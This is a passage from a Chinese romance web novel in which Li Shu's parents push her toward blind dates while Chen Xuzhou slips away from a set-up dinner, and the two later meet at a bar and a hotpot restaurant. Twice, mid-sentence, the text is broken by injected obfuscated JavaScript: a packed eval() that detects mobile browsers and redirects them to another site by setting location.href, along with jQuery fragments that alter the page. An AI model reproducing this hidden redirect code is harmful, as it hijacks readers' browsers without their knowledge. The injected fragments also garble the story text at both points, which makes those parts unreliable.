“没什么事就不能打电话啊，”她嗔怪一声才问，“你今晚回不回来，你弟弟吵着问你什么时候回来。” “他是想我给他买奥特曼吧。”黎姝闻言笑道。 她是南城本地的，就在安区。离清河区不远，打车半个小时左右。因为在外租了房，平时只有周末和节假日会回去。但是最近她因为加班再加上上周有朋友过生已经两个星期没回家了，也不怪她那个三岁的弟弟念叨。 她看了眼墙上的挂钟，快下班了，预估了下到家的时间说：“如果一会儿不开会，下了班我就直接回来了。” 苏琴说行：“那我待会儿去菜市场多买点菜。刚好玥玥今天也回来。想吃什么？” “都可以，我不挑。您做什么我吃什么。”听她说到妹妹，眉尖一动，诧异道，“她周末不用补课吗？” “这周末学校要做考场所以放两天假。” 秒针滴答滴答推动着分针重向时针，其他几位同事开始收拾东西准备下班。 黎姝视线落在包带子上那处明显的针痕上，长叹了口气，无奈道:“妈，今天黄历是不是不太好啊？” 苏琴平日里有看挂历避忌的习惯。早上才查过，闻言回忆了下回说：“百无禁忌，挺好的日子。” “那我怎么这么背。”黎姝怅然。 一想到回家后不仅给小的买礼物还可能被大的敲竹杠，都在考虑要不要找个借口先不回去了。 苏琴自然不清楚她的烦恼。眼瞧着幼儿园快放学了叮嘱她路上小心便匆匆收了线接儿子去了。 看着挂掉的界面，黎姝叹气，等把奶茶都喝完丢了才起身下班去坐地铁。 傍晚六点半，日暮归晚。橘红的余晖像打翻的颜料罐泼满城市的每处角落，路灯明亮，广场上乌泱泱挤满了跳广场舞。 黎姝穿过广场走进居民区，一路上应付着熟人的问候上楼。 老小区的房子没有安电梯，只能甩腿走楼梯。她爬到三楼，放下路过水果店买的葡萄去翻钥匙开门，听着房间里不太膈音的对话。 “都快吃饭了我姐怎么还没回来啊。”放学回来有一段时间的黎玥扒在厨房门口，怀疑道，“她不会是骗你的吧。” “不会，她不久前还给我发消息在车上了，算算时间也该到楼下了。”苏琴的声音轻些，像是蒙了层罩子，带着烟火的宁静，“你打个电话问问，顺便给你爸也一个，让他上来带瓶醋。” “知道啦。” 黎玥翻出手机刚准备打电话就听到玄关处传来了钥匙拧动的声音，探身望过去，却见刚才话中的主人公推门从外头进来，扬声喊道:“我回来了！” 她闻言收起手机迎上去，哎呦:“姐，你可算回来了，再不回来我都要怀疑你是不是走丢了。” “你当我是你啊。”黎姝失笑着将手中的袋子递过去，反手关门。 “什么呀？”黎玥接过手提袋好奇往里瞥了眼，看到里面几串圆润乌黑的葡萄，眼睛亮了，惊喜道:“姐，你怎么知道我最近超想吃葡萄？我下午还在和妈说，没想到你就买了。” “猜的。” 事实上是妈发了消息吩咐买的。 黎姝将包卸下来弯腰从旁边的鞋柜里翻出自己的拖鞋换上，问道:“妈呢？” “在厨房。”黎玥也不讲究，顺手揪了颗饱满圆润的葡萄往嘴里塞了口，扭头朝厨房喊，“妈妈，姐回来啦！” “回来了？”苏琴闻言举着一把木铲从厨房探了个身子，脸上带着笑容说，“去洗洗手，马上就开饭了。” 黎姝说好，回房间放好包出来，洗干净手挽起袖子进厨房，“妈，我帮你。” “不用不用。你别把衣服弄脏了。你把碗筷拿出去摆下就行。”苏琴将她推出去，瞥见一旁偷吃不停的黎玥，啧，“少吃点，一会儿饭还吃不吃了？” “让你给你爸打电话打没？赶紧的，让他回来别忘了买醋。” “知道了，马上。” 黎玥一边往嘴里塞吃的，一边囫囵应答，被赶出去时又偷偷揪了两个葡萄才心满意足去打电话。 十分钟后黎继泽带着小儿子黎溯回来了，手上提个透明塑料袋，里面有袋盐和包装醋。见着黎姝和悦说“回来了”，而后提着调味品进了厨房。 夜晚七点，暮色彻底消散。天色从橙坠入深蓝，居名楼里接连亮起暖色灯光。屋内一家人围坐在小桌前在袅袅菜香间闲聊着日常，欢声笑语。 晚饭过后，帮妈妈收拾完碗筷，黎姝带弟弟妹妹去楼下买东西。 除了两小的零食和需求，她还给两人和爸妈都带了奶茶。 在客厅看新闻的黎继泽看着满载而归的儿女，嚯，“又缠着姐姐给你们两买东西。”看了眼儿子怀里的奥特曼，说，“家里玩具都多得可以开家店了，下次就别买了。你工资也不多，该留着自己买的新衣服。别老惯着他们两。” 弟弟拿了包薯片给黎姝要她开。 黎姝接过来撕开自己吃了两片，递还给他，闻言回道:“之前答应了等小溯考到第一名就给他买玩具的，总不好食言。” “那也不用买这么多。”黎继泽说，“钱不够了就跟你妈说让她给你转点。” “谢谢黎爸。” 黎姝取出包装袋里的奶茶，插上吸管推过去给他，“爸，喝奶茶。专门给你和妈带的，还是热的。” 黎继泽说好，接过却没喝放在一旁，反而问起了她最近的工作，聊着聊着就拐到了感情上。 “男朋友呢，有没有谈？什么时候带个回来给我和你妈瞧瞧？” 她低头玩手机，眼皮都没撩一下借口到嘴就来：“我也想谈啊，这不是都遇不到合适的嘛。” “用不用爸给你介绍？我们医院单身的小伙挺多的，长得也不错。” 黎姝说不用。 黎继泽:“都是年轻人你们应该聊得来，回头找个时间碰个面见一见？” “……” 听到这儿，黎姝越听越不对劲。她抬头，狐疑地望向他：“爸，你不会是想让我去相亲吧？” 黎继泽：“……” 黎继泽拿起她买的奶茶喝了口，没有明确回应，“见见还是可以的。” 果然！ “我妈派你当先遣部队来刺探军情的吧。”她心下了然，手机也不看了，“她呢？” 黎姝开始往家里环顾，很轻易就捕捉到了躲在厨房玻璃门后偷听的黑影。 她一时无语，把人叫了出来。 苏琴端着洗好的葡萄坐到老公旁边，视线从茶几上的奶茶扫过时皱眉说不健康以后少喝点，尔后才看向黎姝，愁眉不展：“不是妈想逼你，但是念念你自己看看周围，你那些个同学朋友哪个没结婚？” “远的不说。就咱小区门口开超市王婶。她家小女儿比你小五岁人家去年就结婚了，现在娃娃都会走路了。你呢？快三十了连个男朋友也没有。” “26”黎姝纠正她，狡辩道，“这不是没缘分吗。” “都差不多，就一眨眼的事。” 黎姝嘀咕:“差得可太多了。” “我没开玩笑。”苏琴叹气，“我知道我和你亲爸的事让你很失望。但是念念，人总不能因噎废食一辈子，你得朝前看。” 她苦口婆心:“妈已经这个岁数了也不知道还能陪你几年。你说万一哪天突然走了，你还孤零零一个让我怎么能放心闭眼。” “妈！” 黎姝皱眉，“别乱说话。”后又小声嘀咕，“我也没说不找。” “什么时候？” “……遇到缘分的时候。” “又是这句话！缘分缘分你不主动点去哪有那么多缘分给你牵，月老是你爹呢还是你妈？！” 苏琴被她的回答气到了，锤着胸口，泄愤地打了黎继泽一下示意他也开口。 黎继泽被母女两夹在中间，左右为难，叹了口气，只得看向小的，“你妈说得对，有时候人要主动点才会有机会。其实相亲也没什么不好的，你看我和你妈妈不就是现成的例子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641171|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黎继泽和苏琴是二婚，成婚时两人都各自带了个女儿。虽是重组家庭但他们一家很幸福。尤其是黎继泽这位继父。在黎姝的成长道路上扮演着父亲的角色，不是血脉却胜似亲爹。 见黎姝神情微松，他继续循循善诱：“这样，你先见见，要是接触之后实在合不来就算了。” “行吗？” “……” 明知是缓兵之计，但抬眼对上了苏琴蓄满愁绪的眼，胸口似在冬夜里被针扎了下，又冷又难受。 她纠结挣扎了一番，固执耐不过心软开了个缺口，叹气道:“先说好，不是帅哥我看不上啊。” “放心。”黎继泽拿起茶几上的手机解锁，说“爸这儿有几个人选你先挑一挑，等回头我给你安排？” “？” 准备这么充分，很难不让人怀疑早就挖好了坑就等她主动跳。 黎姝憬然醒悟落套了，不禁懊悔自己心太软答应得太快。 对面两人已经挑起了照片，她妈妈还招呼她坐过去一起看，“这个怎么样？小伙子看着就老实。还有你爸他们科室的……” 她不情不愿哦了声，正欲起身，手机忽然“嗡”得震了下。 方馨冉发的一条十三秒视频。 视频从一烤炉架上一排洒好调味正滋滋冒油的烤肉串开始，扫过蔬菜、啤酒果汁、几张熟悉的脸最后结束在她自己桌前和一句“你在跟哪个发消息？”的画外音上。 黎姝随手敲了个问号。 方馨冉弹了个地址，附言：【来吃烧烤】 “……” 黎姝瞥了眼对面因为哪个男生比较满意爸妈，悔意再X2。 她在妈妈的催促中起身过去，指尖在屏幕上点了几下回复。 【选妃呢，勿扰】 * 电话响起时陈叙州正在饭桌上。 半个小时前，他陪陈母来赴老同学的约。走进包厢，当看到一起出现的还有对方的女儿，他便意识到了要他来的另一层用意。 寒暄过后，话题自然地转到了在场两位年轻人身上。 “几年不见盏盏都成大姑娘了。”陈妈妈笑眯眯地望向老同学身后站着的女孩，“长得越来越水灵了。” “你们家叙州才是一表人才，年纪轻轻大有所为，像你和老陈。”老同学拉过女儿，向她介绍，“盏盏这是你陈阿姨和她的儿子叙州。你们小时候一起玩过的。” “陈阿姨。”叶星盏双手叠放于身前，端庄有礼打招呼，“阿州哥。” 陈叙州面无表情颔首回应，提醒长辈落座。 陈妈拉着老同学坐下，特意把两年轻人安排坐在一起，美其名曰年轻人有共同话题不会无聊。 包厢是提前订的，甜品上得快，几人用着小甜品话着过往。 说到孩子们工作的时候，陈妈妈扭头问叶星盏，“听你妈妈说你以后就留在南城了？” 叶星盏在国外读的传媒，今年正好硕士毕业，便提前回来熟悉了。 叶星盏放下筷子回说是的。 陈妈点点旁边的儿子，说:“以后你有什么困难需要帮忙的就找阿州。” 陈叙州眉心几不可见浅拧了下，唇张合了一度，还是作罢终究没说什么。 叶星盏瞥见了，笑着说，“那我就先谢谢了。” 尔后巧妙地将话题又带回了她们两人身上去。等到菜都上齐了，她才和身边的人搭话。 “我妈说你在检察院上班。那你是prosecutor？” 陈叙州淡淡应嗯，夹菜吃饭。 “我知道检察官分好几个部门，负责公诉的范围也不痛，你负责哪类啊？” 他依旧惜字如金:“第一检察部，刑事诉讼。” “刑检吗？”叶星盏讶异，“好酷！” 她来了兴趣，手托在下巴很是好奇：“诶那你平时遇到罪犯是不是和电视里演的一样都是杀人犯□□啊什么的？” “不好意思，接个电话。” 感受到手机振动，陈叙州歉意打断她的询问，扫了眼来电显示，抓起手机起身离开席面。 他走向门口的同时手指已利落解锁划开接听附到耳边，还未出声就听到那头不知道是谁的声音，高声喊—— “别忘了还有黎姝！” 5. 第 5 章 05 陈叙州握在门把上的手紧了紧，脚步跟着一顿。 那端闹哄哄的、杂声堆叠。嘈杂之下刚才听到的话仿佛一道错觉除了个名字多余的再没听到。 “喂？” 他出声，拉开门出去合上包厢门沿着走廊朝右边的休息大厅走去。 “可算是接电话了，发了几次消息也没回。”大概过了几秒季衍略带声音才响起，“在忙啥呢？” 陈叙州走到窗边放置的休息桌上，扯了把椅子坐下，闻言只说手机静音了:“有事？” “来双林路这边吃烧烤啊。”季衍说，“赵阳和老钱也在，都是熟人。” 他说着见方馨冉在点炒饭也要道，“方馨冉，给我也点一份。” “吃啥？”方馨冉头也不抬低头勾着菜单。 “都可以，随便。” “没得随便这个选项！” “豆鼓肉丝。”之前来过店里，被老同学凶了一顿季衍便老实点了平日点的炒饭，继续和陈叙州打电话。 “来不来？来我就给你发定位。” 陈叙州舒懒地靠着椅背，听着对面漏进耳边的热闹默不作声，过了几秒才开口说:“你先发过来吧。我这儿还有点事不保证能过去，要是结束得早我再去找你们。” “行，我待会儿发你微信。” 陈叙州说好，尔后就收了线挂掉，听到消息提示音点开发来的定位。地址自动跳转到导航软件。 上面显示:两地距离二十一公里。 有一结伴的人从旁过去，嬉声吵嚷。陈叙州瞥了眼收回视线转着手上的打火机，长睫垂落遮住眼色，不知道在想什么坐了半响才起身回去， 见他回来陈妈妈停下聊天关心问道:“谁的电话？” “检察院的同事。”他信步走至座位拾起搭在椅背上的外套，朝几人道歉，“不好意思，我有事先离开了。” “出什么事了，不要紧吧？” 陈妈妈只当是他工作上有事。同为检察官，她也没少在饭桌上被叫走，自然理解儿子的忙碌。 陈叙州顺着她的话含混而过，礼仪周到：“单已经买过了，你们慢慢吃。” “等一下。”见他要走叶星盏也拿包跟着起身，“我跟人约的时间也快到了，不如一起走吧。” “去吧去吧。”陈叙州还未开口陈妈便替他作了答，“这边不好打车，那州州你记得送一下盏盏。” 他眉尖微拢了下，还是点头。 出了包厢乘直梯到一楼，从大堂往外走至门口。 陈叙州侧身问她去哪儿方便好送人。 “真要送我？”叶星盏惊讶地轻呀，随后说，“不用了，你去忙你的事。我一会儿叫我朋友来接。” “放心，我一定跟阿姨说是你送我的，绝对不会告状。不过——” 陈叙州侧目。 “加个微信吧。”从包里翻出手机，叶星盏开门见山说道，“你也知道我妈和你妈今天组这顿饭存的什么心思。老实讲我对你还是挺满意的，如果非要选一个接触我觉得你可以。” “所以加一个？” “……” “不好意思。”短暂的沉默后陈叙州开口，“我不太习惯加陌生人。” 很直白的拒绝，叶星盏稍意外却不介意，收起电话笑问：“拒绝得这么干脆？有女朋友啦？” 电动门自动向两边推拉开，陈叙州迈腿往外走，说没有。 “那就是有喜欢的人了。” 陈叙州看了眼时间，不正面回应：“既然你不需要送，我就先走了。” 朝她点头致意后，信步拾级走下阶梯往停车场走去。叶星盏目送他远去的背影遗憾地叹了口气：“果然，这年头的帅哥不是有主就是心有所属。” * 南城的夜晚比之白天热闹，又逢周末街上车辆繁多道路交通预想之中的拥堵。等陈叙州到烧烤店时一行人快吃完了正准备撤退。 见到他几人都很惊讶。 “怎么突然过来了，也不打个电话。”季衍反应过来，起身从隔壁桌拿了把凳子过来添在身侧说，“你那边没事了？” 陈叙州嗯，“结束得早，顺路过来看看你们还在不在。”坐下朝其他打招呼。 估计季衍领头攒的局，一桌几乎都是熟人。除了钱易政方馨冉和另外一个不认识的女生另外几人都是检察院的同事。 季衍回头叫老板拿菜单加菜。 “来得挺及时啊，要是再晚两分钟我们都撤了。”纪检组的赵阳找老板，“老板，再来个杯子。” “我一会儿还要开车，酒就不喝了。” 陈叙州抬手挡了下杯口，视线往桌上睃了一圈从方馨冉身上滑过收回来，不动声色问道:“就你们几个？不是说很多人吗？” 赵阳也没坚持，瓶口对准自己的，倒下一杯和旁边的碰了碰：“你以为都跟咱们一样孤家寡人没人管啊，早回家陪老婆孩子了。” 想起在场还有一对：“喏，要不就有家属陪同根本不着急回家。” 季衍在一旁补充:“本来还叫了黎姝，但她今天选妃去了没空来。” “选妃？”陈叙州目光随转，语音稍顿，“什么意思？” “就是相亲。”钱易政给他换了瓶水，解释说，“也很正常，现在有几个年轻人家里不催的。” “谁说的，我爸妈就没催过。”季衍插嘴。 “就你三天两头换女友的速度，还用得着催？”方馨冉呛他，也加入进去，“十来个对象，都是她爸医院的医生，听说个个都是高学历帅哥。” 钱易政:“听你意思很羡慕啊？” “废话，换你挑美女你不动心啊。别否认，我不信！”方馨冉拆穿他，扭头继续说黎姝，“她刚还跟我发消息说苦恼得很。” 陈叙州抖着烟灰，瞥了她一眼悠悠说道：“选择多是好事，但十个帅哥九个渣。你作为朋友还是得提醒一下注意擦亮眼睛免得被骗。” 方馨冉：“……” 怎么又是这句话，他们到底在哪刷到的？ 还有你一个男的这样说同性真的好吗？ * 被拉着看了一晚上证件照生活照感觉眼睛要瞎了后，黎姝终于得闲回房。 她往床上一躺，盯着天花板上的吊灯放空。过了会儿感受到身边多了团热量，偏过头去，就见小弟抱着新买的奥特曼悄悄趴在身边。 见她醒来放下奥特曼拿过平板让她解开密码说想玩游戏。 黎姝此时身心三分疲，没多余精力耐心应付小孩。给他开了锁才发现自动登录的微信上有几条未读。 方馨冉：【图片】 方馨冉：【让你来你不来，又完美错过了crush了吧】 照片应该是偷拍的，画质有点糊，但配上背后昏黄的灯光像是用拍立得拍的，氛围十足。 黎姝坐起身，连敲三个问号:【他也去了？！】 方馨冉秒回:【开始叫的时候说有事，快结束了来的】 【对了，选秀情况如何？有赐牌子的幸运儿吗？】 黎姝回了个“不提了都是伤心事”的动态图:【爱就别提】 方馨冉:【一个都没看上？】 黎姝:【我倒是想看上啊，奈何曾经沧海难为水】 方馨冉秒懂了，【都不咋滴啊。】 可不是嘛。 一想起晚上的经历黎姝心有余悸，【我的悲伤你不懂，正如你今晚的快乐我不懂一样，说多了都是悔恨】 跟方馨冉聊得太投入，忘记了旁边还有只小朋友。 小弟望着她手里的平板一双清澈的大眼睛眨啊眨的，久等不到委屈地叫姐姐。 黎姝回神，把微信登录退出来，确保不会被他误触之后又定好之后才将平板给他让他出去玩。 她再拿手机一看，方馨冉已经笑了三排哈哈哈，幸灾乐祸道:【你也太惨了吧，这波血亏】 黎姝:“……” 虽然不想承认，但单单从质量上来说她今晚“见”的没一张脸能比得上陈叙州的，说是血亏也没错。 唉，早知道就找借口溜了。 * 隔天下午，黎姝收拾提早出了门来到“醉今朝”。 对于夜晚才正式营业的酒吧来说才刚开门，因此店里除了员工茶茶在收拾外一个人也没有。 还没开氛围灯，光线明亮，背景的纯音乐被耳熟能详的流行乐替代。 黎姝进门走到台前，敲敲台面。 茶茶从吧台后抬头，看到她有些惊讶：“黎姝姐，你怎么来了？找老板娘吗？” “不是，我来等个人。” “谁啊男的女的？” “咋那么八卦啊。”黎姝拉开高脚凳坐上去，却还是不疾不徐回答:“一个拾金不昧的好人。”金属也是金。 茶茶啊，没太明白，黎姝也不解释，笑了笑保持神秘的缄口不言，往店里扫视了一圈问她：“就你一个人，老杨呢？” 酒吧四个员工，老杨是其中一个调酒师，是位非常有个性的男生。 “受伤请假了。” “怎么回事？” “就昨天晚上回去路上碰到有人打架好心上去劝架，然后被误伤了。具体的我也不太清楚。” “伤得重不重？” “杨哥说没事，但我看还怪吓人的。”翻出酒吧工作群里的照片。 黎姝凑过去瞅了眼，老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641172|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨领口和右手臂上都是晒干的血迹，一大片，挺触目惊心。 茶茶收起手机嘀咕道:“反正我以后是不敢凑热闹了。” 黎姝对这话表示认同。过了十来分钟，她支着下巴望了眼门口，说道:“钱老板这生意也不行啊，都开门这么长时间了，怎么到现在还连个客人都没有。” “这才几点，还早着呢。”茶茶习以为常，低头瞥了眼电脑右下角的时间说，“再过半个小时差不多，一般过了饭点就会有客人了。” “不过你提到客人我倒是记起来了，我刚开门时有个人来过。”她停下擦拭到一半的杯子思索，“好像是老板那个姓陈的朋友。” 黎姝眼皮不由一跳，呼吸微滞。 她缓缓眨了下眼，心有所觉依旧佯装不知地打听：“你说的哪个？” “还能是哪个，当然是最帅的那个。我记得前几天你们还坐一起喝酒来着……”茶茶绞力回忆特征，话说到一半瞥到门口进来的男人，止住话头，朝着门口方向抬了抬下巴，“喏，来了！” 黎姝闻言下意识转头。 依旧是一身简单的白衣黑裤，一手握住把手推开酒吧开到一半的门，踩着落日斜晖从外面缓缓踏进来。挺拔的身形颀长如玉松。 一张俊脸清冷，淡漠的视线在室内扫了圈，见到她的身影后便径直朝前台走来停在她身侧，靠坐上旁边的高脚凳。 “来这么早？” 声线清磁悦耳，语气不轻不重，却似春天的第一声惊雷成功将黎姝惊醒。 她回神，抬眼对上他深邃的黑眸，既意外又觉得意料之中，莞笑回应:“你也好早。” 他们约的六点半见。而现在不过才五点过几分，距离两人约定的时间足足早了一个小时。 陈叙州抬抬眉骨，语气中带了几分揶揄:“可能是我预感有人会早到吧，所以干脆提前过来免得让人久等。” 黎姝:“……” 一站一坐，他又长得高垂眸居高临下望着她，姿势带来身高差压迫盯得黎姝心慌耳红，压力很大。 她干笑两声，生硬地转移话题询问徽章。 陈叙州视线在她染着薄红的耳根上多停了半瞬，眼底划过一抹温笑，屈指在前台桌面上“笃笃”敲了两下，松开手掌。 由于没有针扣固定，他一松开手两指宽的小徽章便因为重心不稳在桌面上咔哒咔哒左右摇摆、震颤了好几秒才停下。 室内的白织灯晃出柔和的光，将徽章表面的金属线条折射得流光溢彩，粼粼细闪。 “物归原主。”他偏点了头，一本正经地说道，“失主检查下有没有问题，没有的话麻烦签收一下给个好评。” 明白他在说笑，黎姝配合地问道:“怎么给？需要锦旗还是手写感谢信？” 陈叙州挑眉:“这么隆重？” 黎姝嗯:“毕竟是贵重的私人物品，应该的。” 茶茶听了半天也悟过来陈帅哥就是黎姝等的人，好奇地凑过去看了眼那枚硬币大小的徽章，狐疑道:“看起来就是普通的金属啊。” “家人送的，情意抵万金。”黎姝拾起徽章收到包里，再度望向陈叙州，“或者锦旗和信都要也行。” 茶茶笑说好夸张。 陈叙州也觉得，茶色的瞳仁平直望着黎姝，搁在台面上的手指尖动敲了几下，“逗你玩的，‘谢谢’我已经听到了。” “就这样？？” “你要是多说两遍，我也不会介意。” 动动嘴皮子的事黎姝当然不会拒绝，她站起身立正，双手交叠于小腹前郑重半认真半玩笑地说了三个谢谢。 方言普通话英语各一遍。 坐下后用散装韩语和日语各自赠送了一句，带着几分灵动的俏皮。 陈叙州低笑出声，也一正经地望着她回说不客气，汉语和英语，“水平有限，就会这两个语种，见谅。” 两人客客气气又没头没尾的对话听得茶茶暗暗吐槽:“别说鸟语，学渣听不懂。” 夕阳摇摇晃晃，橙红的裙摆吹散至城市的角角落落，暮色渐晚。 外面安静的街巷里逐渐多了交谈声，酒吧也迎来客人。店内播放的背景音乐是软件上随机的，当前的是首重金属Dj，有客人对音量有点意见。 茶茶在前厅招呼，扬声让黎姝帮忙调一调。 黎姝闻言应了声踩下高脚凳，绕进柜台才发现电脑已经锁屏了，和茶茶说完要密码。抬头见陈叙州要走的架势，脱口而出:“就走了啊？” 这口吻好似是他砸烂了店里的东西没赔偿，或是吃霸王餐没给钱一样，充斥了匪夷所思的惊诧。 陈叙州听得好笑，挑眉回视她的眼：“不然呢？难不成还得消费了才能走？” 6. 第 6 章 06 他眼神深邃，茶色的瞳眸隔着柜台目不斜视地抓着她，盯得黎姝脑海晃过一道白光，神识晕眩。 她脑子宕机了片刻才找回理智，解释说:“我的意思是现在外边挺热的，要不继续坐会儿等天黑点再走？” “是这意思？那是我误会了。”他似笑非笑地盯着她，语调松散，“还以为醉今朝出了进店必须消费的霸王规定。” 黎姝:“……怎么会。” 可不敢把这么霸道的规定往酒吧头上套，不然回头被方馨冉听到她败坏“醉今朝”名声，估计全尸都难。 陈叙州嗯，偏头看了眼外面的天色，回答她之前的话，“还好，没那么热了。” 恰此时茶茶叫她帮忙，他摆摆手，另一只手插进裤子里说走了，尔后迈着长腿信步出了“醉今朝”。 茶茶过来拿客人点的单，见只有她，疑惑问:“州哥呢？” 黎姝说:“走了。” 茶茶啊，惊讶道:“什么时候走的？” 客人选的座位在后面空间，她刚才专注点单并没有注意到陈叙州的离开。 “刚刚。” 黎姝一边回答，一边估摸着他出门的时间，心想这会儿应该还没走远出门能追上，侧身出来说:“茶茶我还有点事也先走了。” “诶？不多坐会儿了吗？” 黎姝说不了:“下次吧。” 她取过吧台上的包包，调整着合适的链条长度随即挎上，出门。 沿着陈叙州离开的方向追了两分钟就看到了他的背影，心中一喜，出声叫他。 “陈叙州！” 见他停住，黎姝甩着小高跟快步追上去，三两步走至他跟前，扬笑说:“一起啊。” 陈叙州瞅着她精致的侧脸，似乎是意外她也出来了，“太阳还没落下，不怕热？” 黎姝和他并肩走着，踩着光滑的青石板，被自己的话堵也不尴尬，也用他的话回复，“出来感受了下，确实还好。” 陈叙州闻言余光瞥了她一下，没说什么。 跃近傍晚，夕阳没进地平线，倾斜的余晖穿过林立高楼洒在碎石板上蔓延。天河街上的店铺也陆续开门营业，各色电子招牌闪烁交织。 两人并肩而行。 快行至路口时，忽然从前面巷口窜出来一团白色毛球。蹦蹦跳跳撒着四只小腿向着他们奔来。 黎姝脸色觑变，几乎是条件反射，蹭得跳到了陈叙州身后。在他还没反应过来，拽着他的衣服念念有词:“别过来别过来千万别过来！” 陈叙州:“……” 她抓的是他肩胛骨那块的衣服，力度够大，剧烈拉扯收缩下，脖子的领口变小他没意外地也被勒住。 陈叙州身子顺着她的手往后仰了仰，得到喘息，垂眸扫了眼仰头望着他们摇尾巴的毛团子。 是只白色比熊犬，小小一只，穿着粉蓝色公主裙，全身都毛茸茸的，脑袋上扎了个小揪揪被粉色蝴蝶结立着，很可爱。 他又往后扫了眼花容失色的某人，挑眉。 怕狗？ 黎姝超怕！ 还是这种没栓绳的！ 她浑身僵硬，躲在陈叙州后面怯生生地不敢和狗狗对视。只能无助地口头“呿呿”得赶。同时手心收紧，把陈叙州勒得差点见祖宗。 陈叙州:“……” 他翕了翕双唇，想叫她松松手，不料原本还蹲着的小狗以为黎姝是在叫它，摇着尾巴凑过来。 黎姝吓疯了，一边叫一边旋转转圈:“啊啊啊啊啊你别过来啊！！！！” 话音飘颤，听得出来是真的害怕。 陈叙州被她当盾牌一样抵在前面，一时不知道是该同情她还是同情自己。 他无奈叹了口气，只好伸出半条腿去隔绝小狗的靠近。 狗主人也在这时追上，看到情形在后面叫它的名字。 “财财，你吓到别个了，回来！”她走过来，蹲身去抓逆子，不忘说，“它就是比较漂亮的小姐姐，不咬人的。” 黎姝僵硬地扯扯嘴角，等他们走了，才松了口气，然而气还没舒平，头顶就落下低沉询问。 “可以放开了吗？” 黎姝抬头，茫然地顺着他的视线停在她拽着人胳膊的双手上，手一烫，连忙松开，“不好意思不好意思，没抓疼你吧？” 陈叙州望着被抓出痕迹的袖子，不找痕迹甩了甩：“怕狗？” “嗯。”望着远处被主人教训的狗狗，她还是心有余悸，“从小就怕。” 无论是大的小的、什么品种，只要是狗，不管乖不乖咬不咬人她都挺怕的。 “会不会觉得很没出息？” “为什么会这么问？”陈叙州不答反问。 “感觉大家都挺喜欢狗的，我身边养的人也多，好像只有我一个人怕狗。” 陈叙州侧过脸，“你很在意别人的回答？” “那倒也不是。”黎姝说，“主要是想听你安慰几句，然后我顺势装一装可怜跟你提个要求。” 陈叙州笑:“怎么？” 黎姝抛出邀请:“我想约你吃个饭。” 他没说同意也没说不同意，只是猜道:“因为我帮你找回徽章你谢礼？” 黎姝刚想点头，对上他的目光，狐狸眼轻转，颊边两泉梨涡似有若无，“如果这个理由不够我还有一个。” “还有什么” 黎姝哀叹一声耷拉着眉目扮可怜:“刚才被吓到了，你好心人做到底陪我吃顿饭压压惊呗。” 夕阳赖晚，躲在林立的高楼后像一颗打碎的鸡蛋，蛋液橙红，倾泻在长巷里，浮光跳跃。 她眉眼浸在夕阳里，笑容盈盈，妖媚的眼弯着像一把钩，不需要鱼饵，就会有结队的鱼群跃然而上。 * 吃饭的地方在黎姝家附近凯德广场开的一家连锁火锅品牌分店。 两人停好车坐电梯上到五楼，由于周末加饭点的双重buff，几家餐馆门前已经开始排起了队。 火锅店排队的人虽不算多但黎姝还是征询了陈叙州的意见才找接待员领了号码牌一起去旁边等候区坐着。 怕客人无聊，除了茶水小零食店家还贴心备了积木和跳棋之类打发时间的小游戏。 她右手边有家长在陪孩子用跳棋下五子棋。小男孩估计经常玩，连赢了三局，最后一局结束后收起棋子要妈妈陪他下。 他妈妈在刷短视频，头也没抬拒绝：“妈妈不会，找你爸爸哈。” “爸爸太笨了，我不想和他玩。” “可是妈妈玩得也很差，乖，再将就一下马上就快排到我们了。” 小男孩闻言不高兴地噘嘴，圆嘟嘟的脸蛋都皱成了包子皮，看得出来是真的很嫌弃爸爸了。 黎姝看得忍俊不禁，抿唇轻笑了下，不料下一秒就被注意到了。 小男孩眼睛一亮，哒哒哒小跑过来向她发出邀请：“姐姐，你可以陪我下棋吗？” “？” 黎姝低头，错愕地指指自己：“我吗？” 小男孩嗯嗯：“姐姐长得这么漂亮一看就比我爸爸聪明。” “……” 现在的小孩子都这么会说话吗？ 黎姝暗暗心惊，同时也因为今天的穿着纠结难决，拒绝又有点于心不忍。 她瞅着面前和自家弟弟一样高的小萝卜头苦恼。 忽而目光一转瞥了眼身侧坐着的人，眼眸一弯，摸摸小男孩的头祸水东引:“对不起啊小朋友，姐姐不太方便，要不你问问旁边这位哥哥好不好？” 旁边的哥哥陈叙州听得好笑，挑眉:“就这么把我卖了？” 黎姝：“反正干等着也无聊，不如让他陪你玩玩打发会时间。” “陪我？”陈叙州咬字，“确定没说反？” 黎姝哎呀一声振振有词道:“都一样啦，你说小朋友对吧？” 小男孩说对，转了几十度直面着陈叙州，大眼渴望巴巴地盯着他。 陈叙州：“……” 另一边，男孩的父母见他一直缠着人家一对小情侣，男孩爸过来边说不好意思边打算拉走儿子，却被那小子躲了过去，还嚷着不要爸爸，尴尬得他爸脸都红了。无可奈何地强硬上手，还不忘继续说不好意思。 陈叙州说没关系，垂望向男孩，话说在前头：“输了不许哭，我不会手下留情的。” 小男孩：“我才不会哭！” “那来吧。” 陈叙州伸手从他盒子里取走了两个颜色的飞行棋子，让他先行。 男孩也不客气，在盘中心放了颗黄色棋。 陈叙州跟上出手。 一方一子，攻防交换，出招，封杀……两人打得有来有往，转眼，整面棋盘就被占据了二分之一。 黎姝在旁边看得惊讶。 